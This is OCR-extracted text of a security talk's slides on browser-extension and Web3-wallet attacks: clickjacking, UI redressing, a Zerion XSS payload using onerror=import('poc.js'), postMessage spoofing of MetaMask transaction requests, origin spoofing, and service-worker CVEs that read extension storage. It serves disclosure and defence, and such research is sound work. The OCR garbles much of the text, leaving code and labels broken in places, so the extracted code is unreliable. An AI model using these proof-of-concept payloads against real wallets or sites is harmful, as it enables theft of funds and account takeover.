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/\ DISCLAIMER

This report is intended for
discussion purposes only.
It should not be used to
make any statements or
claims, offer warranties
regarding the  utility,
safety, or suitability of the
code, the product, the
business model, or to
express opinion about the
mentioned companies or
their products.
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@ Quick dive into

browser extensions
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SHARED EXTENSION “SERVICE"

o] -

inpage.js - .E | content.js

chrome.storage



SHARED EXTENSION “SERVICE"

background. js

Browser APl access
granted by permissions:

manifest.json

"background": {
"service_worker": "background.js",
"type": "module",

5

"permissions": A
"'storage",
"scriptingds



E STORAGE TYPES SECCOM x NEPLOX

storage.session storage. local storage.sync

%

Indexed DB * Web Storage Cache Storage
& Cookies



“Bom-

window. %

v document.=*

sendMessage / Port API
v/~ postMessage

v/ Storage, Indexed DB

T

I

|
content.js .ff
—

chrome.storage

session



[0) CONTENT SCRIPTS SECCOM x NEPLOX

manifest.json background.js
{ chrome.scripting

"content_scripts": [{ . registerContentScripts(
"css": ["styles.css"], [...manifests]
"js": ["content.js"1, )
"run_at": "document_start",

"world": "ISOLATED",

J] "
1 Content scripts can also be

injected into MAIN world with
custom run_at

10



AH— https://neplox.security

content.js

m IS shared, but JavaScript is

content.js

11
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ATTACKING Uls

@ Seemingly harmless issues In
extension and wallet Uls and their
not-so-harmless consequences

Extension
UIs

NEPLOX
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Ul RESOURCES SECCOMN x NEPLOX
° ethereum.org/en/ s Yy | QO : . | o

2 8 o " Keplr 2 X

HFT S

vitalik.eth v POPUP

Copy Swap Send Buy

Deposit Buy Send

Claimable Staking Reward

$0 Claim All
Tokens 5287 $6,249,433.87
b
Tip: Press %K t the Magic M SIDEPANEL ( - |
AL I LT LT © Manage Portfolio in Keplr Dashboard [/
Ethereum $2,474,322.35 ( i
¥  965.593 ETH -8.67%
~ L A
. MOO DENG $1,849,908.43 .
| 30,000,205,889.158 MOODENG 17.67% 3 Available Balance @
Vitalik Buterin Holds 99% $300,734.24 BLD ™ 4.49% 0
9,900,000,000.00 V99 -8.98% P Agoric $0
0
$0

> window.origin
¢ 'chrome—-extension://opfgelmcmbiajamepnmloijbpoleiama’

> |

13
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:< LD Elements Console > ®3 3 : X ’

) ACCESSING RESOURCES SE NEPLOX
S

manifest.json ) @ | topv | ® | Y Filter

Default levels v | NoIssues | £&3
"'web_accessible _resources": [A{
"matches": [ > await fe'tCh(
"chrome-extension://" +
"<all_urls>" "opfgelmcmbiajamepnmloijbpoleiama/index.html"
1, ).then(r => r.text())
.then(t => t.length)
"resources'": [

- . € Denying load of /ctf:1
POPUP. €55+, chrome—extension://opfgelmcmbiajamepnmloijbpolei..
. Resources must be listed in the
] web_accessible_resources manifest key in order to
1] be loaded by pages outside the extension.

@ » GET chrome-extension://invalid/ VM582:1 @@
net::ERR_FAILED

\ € » Uncaught TypeError: Failed to fetch VM582:2

.« ~ o . at <anonymous>:1:7
notliflication.tsx |
> await fetch(

"chrome-extension://" +
: : . "opfgelmcmbiajamepnmloijbpoleiama/inpage.js"
const iframeLink = document.createElement('link"'); ).thenF()rg=> r.t;xgc())p 1jbpoleiama/inpage. ]
iframeLink.href = " ${extensionUrl}popup.css ; .then(t => t.length)

¢ 2415563
> |

14



N FRANMING RESOURCES SECCOMN x NEPLOX

® ®® @ NeploxWallet Clickjacking D« X + .
<« > C 25 pocs.neplox.security/clickjacking-yooghOCh/clickjacking.html A [ I .
‘< [0 Elements Console Sources > 91 B1 8 : X

|
el o Neplox Wallet Clickjacking
» <head> (- </head>
¥ <body> : :
¥ <div class="container">
<h1>Neplox Wallet Clickjacking</h1> :
¥ <div class="demo-area"> i
» <div class="overlay">(G~)</div> ‘H'_ NEPLOX WALLET
»<iframe class="wallet-iframe" src="chrome-extension://ehkcipecpnbi '

legnohplkakaphghhmco/popup.html" style="opacity: 1;">(-)
</iframe> == $0

Transaction Confirmation

</div> 5
: » <div class="toggle-container">G></div> (flex) Q 1000 ETH
' div> E
ipt>Go</script> -» To: Neplox
0 > :

A\ Are you sure you would like to transfer
1000 ETH to Neplox?

e

»<iframe class="wallet-iframe" src="chrome-extension://ehkcipecpnbi ;
legnohplkakaphghhmco/popup.html" style="opacity: 1;">¢.) "

</iframe> == $0 _




‘3 CLICKJUACKING
EXTENSIONS

2018 Clickjacking PrivacyBadger

(by Lizzie Dixon & Blake Griffith)

2022 Clickjacking MetaMask

(by UGWST)

TODAY

* A few Web3 wallets still attackable using
Clickjacking through misconfigured

web_accessible resources

SELLLN X NEPLOX

# IDI.E‘

Neplox Wallet Clickjacking

——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————

Transaction Confirmation

win' 9 Bl et

Click the button below to claim your free NFT!

Are you sure you would like to transfer
1000 ETH to Neplox?

16



5 REDIRECT
CLICKJACKING

manifest.json

"web accessible resources": {
"resources": {
"redirect.html",
" popupHTTL”
Hy

"matches": ["<all urls>"]

@ Used in Metamask Clickjacking report by UGWST.

—] = NEPLOX

<iframe
src="chrome-extension://{id}/popup.html">
</iframe>

€ Denying load of about:blank:1
chrome—-extension://ehkcipecpnbilegnohplkakap..
. Resources must be listed in the
web_accessible_resources manifest key in
order to be loaded by pages outside the
extension.

“<iframe
src="chrome-extension://{id}/redirect.html
?redirect=/popup.html">

</iframe>

Coinbase uses siteWarning.html for redirecting

from malicious sites but sanitizes URL.

17



X Ul REDRESSING SE| NEPLOX

< Wallet & v : & Wallet & v

Web3 wallets already suffer with low
informativeness due to unreadable

addresses / transaction data

Neplox Swap wants to connect 2 B EE B O [ Ul redressing bugs can be used in scams,
- to TON Space UQBEr...Zugc : : :
This app will be able 1o view your and they can be chained with other issues
TON address, balance and activity. |||<e 1—C|iCk XS S

" App "name" poorly sanitized, non-ASClI
whitespace (e.g. U+2000) can break layout

This app won't be able to move funds without permission. This app won't be able to move funds without permission.




I_.I

NEPLOX

EXTENSION WEBSITE

0

@Hovv benevolent extensions can
be turned into malevolent and
used to perform indirect attacks
on other websites

Extension VS Website

Interactions



[ DOM MODIFICATIONS SECCOMN x NEPLOX

*Form HTML/CSS modified
by LastPass

Login to your account Login to your account

Email Email

hunter@immunefi.com m 'hunTer@immunef“i.com m

a immunefi.com 0 { Back

Start typing...
X Report a problem 4
More options...

Domain CSP doesn't A Generate a password >
: 7
affect extensions - they Open my vault G
have their own CSP @ Turn off LastPass for this site >
% Extension settings ()

or

Browsers do NOT provide
an intended solution to
Forgot your password? Reset it here. bIOCk eXteﬂSiOﬂS from Forgot your password? Reset it here.

it bi il running on a domain

C) Continue with Google G Continue with Google

Are you new? Sign up.

20



[ JYS MODIFICATIONS == NEPLOX

B1 Main-world content scripts () Dynamic script injection
background.js / manifest.json background.Jjs
chrome.scripting.registerContentScripts([{ chrome.scripting.executeScript ({

"js'": ["inline.js"], target: tab,
"world": "MAIN" files: ["inline.js"]
) })

O3 Injection through IR

content.js

A CSP of domain ignored even

for direct script element injection.

const script = document.createElement("script");
script.src = chrome.runtime.getURL("inline.js");

document.head.appendChild(script);
21



[l NOTIFICATION PATTERN SE NEPLOX

00 . Sei App

= = (T 25 app.sei.io
Sel

Dashboard

Stake

Bridge

Transfer

A It @ <

[E] Documentation (2

® X ®=o =

& Dashboard

Stats
Block Height
% 133,718,658

Avg Block Time
0.488s

)

Total Supply (Sei)
= 8.921153 B

Overview

Addresses

Fédgn,

BY WALLET

zg@.
2

= Zerion: Wallet for Web3 & NFTs %
app.sei.io . B
Network Switched Connected 4

¥I0GA4. 12FBA - 1@ + 80

Invite Friends
Earn XP & Gift Free Premium

Tokens NFTs History Perks

Sei v All Networks @

No assets yet

22




NOTIFICATION
IVIPLLENVMENTATION

* = O @

= Zerion: Wallet for Web3 & NFTs A X

Y- = app.seiio sei - G4

Connected

Ox506A4..12F6A -~ 0 ¢+ 8 O

Invite Friends
Earn XP & Gift Free Premium

Tokens NFTs History Perks

Sej =~ All Networks @

No assets yet

SELLON

f\\ j E - | /(Z\\ T\\’<
N\ e ™ gg:;) Vo

WAIT, wHAT? )

zerion/../in-dapp-notifications/index.ts

const networkIconHTML = isIconlLoaded
? "<img src="${networkUrl}"
class="${styles.networkIcon}" ...>

el.innerHTML = °
<div class="...">
<div class=${styles.zerionlLogo}>
${networkIconHTML}
</div>
<div ...>
<div ...>Network Switched</div>
23



L DAPP UNIVERSAL XSS

Zerion - Add network

e for Testing v132.0.6830.0 is only fo...Download Chrome

& pocs.neplox.security

Suggests you add this network

Sei

Network Name
Sei
RPC URL
https://evm-rpc.sei-apis.com/
Chain ID
1329

Currency Symbol

SEI

Decimals

18

Block Explorer URL (optional)

https://seitrace.com

Visible in Networks List (@

Cancel Add

Add network with malicious config

e®e Zerion - Network added successfully

Chrome for Testing v132.0.6830.0 is only fo...Download Chrome

©

Sei

added successfully!

RPC URL
https://evm-rpc.sei-apis.com/
Chain ID
0x531

Currency Symbol
SEI

Block Explorer URL

https://seitrace.com

Close

SELCLCON

zerionProvider. request({

method: "wallet_addEthereumChain",

params: [{
chainId: "@x531",
chainName: "Sei",

iconUrls: |

“https://app.sei.io/favicon.ico#" ™ +

S

style="..."><img src=x +

onerror=import('poc.js"')
S.ty'l-e=ll e 11 n> ,

@ Wallet checks that icon loads,
so we craft a valid URL by placing
the PoC after the hash ( # )

NEPLOX

24



L DAPP UNIVERSAL XSS =1= NEPLOX

e Zerion injects XSS alongside notification

X @ Sei App X +

Extension user data is safe,

but a malicious DApp can
attack other DApps through
shared extension network list. ® @ @8 € pocs nsplox sacurity/zencn:

<« > C °c app.sei.io

o | A
app.sei.io says

Downlc

https://app.sei.io PWNED by neplox.security, authorized account:
0xB4A4713b4153909564C265083d8cbD8E060cc5DA

AH,

evil.neplox.security

Block Height W\ Avg Block Time
' 114,189,697 (_’l) 0.409s

Overview
WALLET
Addresses Balances
dapp.neplox.security
EVM Address g SEI 25
= ~ Sei Token

OxB4A47...60cc5DA



ATTACK SURFACE

"5

https://uniswap.org https://neplox.security

SOP-isolated domains
share extension storage

— @ X

https://example.com

World-isolated extension
content scripts share DOM

26
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1 X NEPLOX

WEBSITE EXTENSION

@ Targeting extension communication
channels to spoof DApp wallet requests

¢

Website VS Extension
Interactions



[ crROSS-WORLD
MESSAGING
0

postMessage

FRAME-TO-FRAME

window.onmessage = (event) => {

handle(event.data)

S,

target.postMessage(data, expectedOrigin)

Origin (and other) checks must be scrutinized

03

—] = NEPLOX

B2

BroadcastChannel ORIGIN-WIDE

©

new BroadcastChannel(randomID()).
onMessage = handle

S,

new BroadcastChannel(randomID()).
postMessage(data)

randomID() needs to be exchanged,

e. g. through the shared m

MessageChannel API, butit must be set up using

postMessage / BroadcastChannel

28



ROUTING PATTERN SECCON

B .heplox.security — X

const dapp = window.open(...);
dapp.postMessage ( {

inpage. js

const handlers = {
CONNECT_WALLET_ETHEREUM:

target: "contentScript",
CONNECT_WALLET_SOLANA: ..
type: "constructor",

1 .. .evilRequest
}_' II*II);

"r

window.addEventListener("message", (async event => {
const {type, ...data} = event.data;

if ( // event.origin == "evil.neplox.security"
"content?cript" I== event.data.target .neplox.secur‘ity B X
&& type in handlers

) try {
const response = await handlers[typel (data); window.postMessage({
window.postMessage({...response}, "x"); ...handlers["constructor"] (

} catch (error) { data
- )

}; : : },U%")

1)) s Quite a lot of Web3 and non-Web3 extensions // event.origin == "dapp.neplox.security"
DO NOT validate postMessage in the router // event.data = evilRequest

and use normal JS objects as the route map 29



L PROXY ATTACK == | x NEPLOX

"value": "@x487a9a304539440000",
Ildatall: Ilaxll,
"gasPrice": "@x4a817c800"
}
1,
Iljsonrpcll: Ilz.all'
"id": 2703115307

pocs.neplox.security X @] Buy, sell & trade Ethereum ar X ar v
°5 app.uniswap.org/swap )% ¢ (?"1 5 3 @ @
ants Console Sources Network Performance Memory  Application Lighthouse >> 04 B2 | ¢ Transfer request S
© Y Filter Default levels v | 3lIssues: B2 B1 | 3 Q &
+
FROM:https://app.uniswap.org .
Message received: { conter
"target": "metamask-contentscript", uy 0
"data": {
| "name": "metamask-provider", 1’337 ETH
"data": { $2,855,644.82
"method": "eth_sendTransaction",
"params": [
{ @c v
"to": "@x4B0897b0513FdBeEc7C469D9aF4fA6CA752aBea7", From To & Alert >
"from": "@0x6510CF@418D1c8a6779948d32A3eB3dESC1F3128", N
Ilgasll: IIOX76C0", ‘{ Account 6 o OX4B089...dbed7 0O ETH

Estimated changes @

} FROM: https : //pocs = neplux' secu l‘it}{ D This transaction is likely to fail -

e
"type": "constructor"

FROM: https://pocs.neplox.security

Message received: {
"target": "metamask-contentscript",
"data": {
"name": "metamask-provider",
"data": {
"method": "eth_sendTransaction",
"params": [
{
"to": "@x4B0897b0@513FdBeEc7C469D9aF4fA6CA752aBea7",
“from": "@x6510CF@418D1c8a6779948d32A3eB3dE5C1F3128",
"gas": "@x76c0",
"value": "0x487a9a304539440000",

Network @ Ethereum Mainnet oken
conter

Request from © app.uniswap.org

( Cancel > @ Review alert

"data": "ex",
"gasPrice": "@x4a817c800"
: }
sy FROM:https://app.uniswap.org
}
}

H
FROM: https://app.uniswap.org

Message received: {
"tarnat!": "matamack-cantentecrint!

postMessage -based extensions
CAN NOT be protected from such attacks 50




[l ZERO TRUST
EVENT HANDLING

@metamask/post-message-stream

private _onMessage(event: PostMessageEvent): void {
const message = event.data;

if ((
this._targetOrigin !== 'x' &&
getOrigin!.call(event) !== this._targetOrigin
) |
getSource!.call(event) !== this._targetWindow ||
lisValidStreamMessage(message) ||
message.target !== this._name
) A
return;
+

this._onData(message.data);
1

Does NOT trust any event data,
does NOT depend on origin/source from event
(they are validated to match expected values)

NEPLOX

o content. js

const allowed = [

1;

"https://wallet.coinbase.com",
"https://homebase.coinbase.com"

window.addEventListener("message",

(e) => {

if(allowed.includes("x") ||

allowed.includes(e.origin)) {

})

processInternal(e)

by

Origin of event can be spoofed under certain

conditions, leading to privilege escalation.
31



[l TRUSTED EVENTS

Event.isTrusted is

e false when

window.dispatchEvent Is used

e True for "real" events generated
by the browser

o Fixed the issue at
hand by checking e.isTrusted
but we still consider using
event.origin / event.source
to customize extension
logic - a security
antipattern.

Line 2, Column 3

Coverage: n/a

'YX, DevTools - pocs.neplox.security/
'k [0 Elements Console Sources Network Performance Memory  Application  Security Lighthouse  Recorder
> [J content.js x BD [ >, & ¥ T 2| D
v [ top 1 window.addEventListener("message", (event) => { @ Paused on breakpoint
| ] Bconsole. log({
v & Neplox ... 3 | | origin: event.origin, v Watch
D conte 4 isTrusted: event.isTrusted, _
5 e event.isTrusted: false
6 }); event.origin: "https://wallet.coinbase.com"

» Scope

» Call Stack
» XHR/fetch Breakpoints

» DOM Breakpoints

» Global Listeners

» Event Listener Breakpoints
» CSP Violation Breakpoints

> win&bw.dispatchEvent{new MessageEvent("message", {
data: {test: 1},
origin: "https://wallet.coinbase

.com"

Default levels NCc

32



[l EVENT TYPES SE NEPLOX

N N DevTools - pocs.neplox.security/

< LD Elements Console Sources Network Performance Memory Application Lighthouse >> d1 A1

) content.js X main.ts-loader.js I | >, & VT ose Event handlers are matched
1  window.addEventListener("message"”, (e)=>{ e = MIDIMessageEvent {isTr Y Local by "event type", WhICh can
B2 | pconsole. log("Message received:",e) this: undefined :
30D v e: MIDIMessageEvent be set to any string for
isTrusted: false -
bubbles: false manually-initialized events.

cancelBubble: false
cancelable: false
composed: false
» currentTarget: Window {window: Window, self:
» data: Uint8Array [buffer: ArrayBuffer(@), byt
defaultPrevented: false

{2} Line 2, Column 3 Coverage: n/a
avantDhacas 7
¢ Console What's new Issues Al assistance /\ X
[ @ | Exploity & | Y Filter Default levels v | 1lssue: B 1 | 83
> := 2 messag... ¢ undefined
> ® 1 user me... > const event = new MIDIMessageEvent("message",{data: new Uint8Array()});
window.dispatchEvent(event)
> (X) 1error _ _ R
) € » Uncaught TypeError: Illegal invocation content-script.js:2

/\ No warnin... at f._onMessage (content-script.js:2:7101)
> @ 1info >

> . ' |

Metamask's code doesn't expect this and simply Tails with TypeError
but some implementations might be impacted security-wise. 33



(@ BROADCAST CHANNEL
SUPREMACY

—] = NEPLOX

A Purely subjective opinion below!

No events — no problem

postMessage functions on generic window events, which
are too generic for the task of bi-directional messaging.

Same origin guarantee

BroadcastChannel events can NOT arrive from window.opener
and other strange senders, so there's no need to rethink the whole
extension architecture or to perform error-prone origin checks.

Proxy attack safety

We are pretty sure that BroadcastChannel is the only existing
way to secure your extension from this attack which arises due to

how the [l2Xe Yl including its events, is shared between the
isolated worlds of different extensions.

34
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1 X NEPLOX

CHROIVIE EXTENSION

@Exploiting bugs in browser isolation
mechanisms to attack extensions

IS | [

Chrome VS Extensions

©



AHf https://neplox.security

script.js

const registration = await

navigator.serviceWorker.register("/sw.js", {

scope: "/",

Dk

Domain service worker

4Hf neplox.security — X

fetch("/api’)

network

response

worker.js

self.addEventListener (" fetch",

event.respondWith(response);

bl

worker.js ————p

(event) => {

/api

\x&

Z
7
7
7
7

\\&\\

%
S~

=

R

56



4 https://neplox.security _ @ x neplox.security SERVER

neplox.security

-----

Domain service worker is

request.SetSkipServiceWorker()

crypto.com SERVER

57



T DYNAMIC IVIPORTS == | x NEPLOX

7

manifest.json

(function () {

'use strict'’;
const injectTime = performance.now();
(async () => {

LIRS CEA AN await import [

chrome. runtime.getURL("assets/isolated.ts-Ba3BOPRo.js")

);

onExecute?.({ perf: { injectTime, loadTime: performance.now() - injectTime } });
})().catch(console.error);

) (O);
Commonly seen in bundled content.js code

of extensions which use the CRXJS
( crxjs/chrome-extension-tools ) bundler,
e.g. 1Password, Crypto.com Wallet.



CVE-2024-10229

4 https://neplox.security _ @ x neplox.security SERVER

neplox.security

Access to storage and background script through crypto.com SERVER
39



®O®0® & pocs.neplox.security o S

” httpS://nep-LOX.SECUI"ity ,<_ > C % pocs.neplox.security O * ¢ & U}
i Extension storage:
worker.js ;
"app_walletExtensionPreference_default": "cdc",
self.addEventListener("fetch", (event) => { "app_walletExtensionPreference_saved": false,
"segment-identity-created": '"2024-10-12T11:07:11.871Z",
"segment-identity-last—-updated": '"2025-02-24T02:59:02.736Z"
if (event.request.url h
.index0f (" chrome-extension") === -1
. NO STORAGE?
event.respondWith(fetch(event. request));
return;
)

const evilldS = // read chrome.storage ;
event.respondWith(new Response(evillS, ...));

});

Chrome version: L6




= ORIGIN SPOOFING =1= NEPLOX

v 7
V¥P content.js €® background.js
chrome. runtime. connect({ chrome. runtime.onConnect.addListener((port) => {
name: JSON.stringify({
role: "dapp", const {origin} = JSON.parse(port.name);
origin: location.origin,
uuid: uuid() Y
r)

})

@ Extension worker trusts content script with verifying
origin, so we can initiate connection in evil.Js with
any origin value, spoofing transactions / signature

requests on behalf of that origin.
41



CVE-2024-11110

crypto.com SERVER

Link: <https://crypto.com/favicon.ico>:
rel="preload”

—————— favicon.iCo = em cma—a——p @

neplox.security
Link: <chrome-extension://{id}/import.js>;

rel=""modulepreload”

import("import.js")

worker. js

— chrome-extension://{id}/import.js ___

03

Missing request.SetSkipServiceWorker()

for Link header handling in legitimate responses 49
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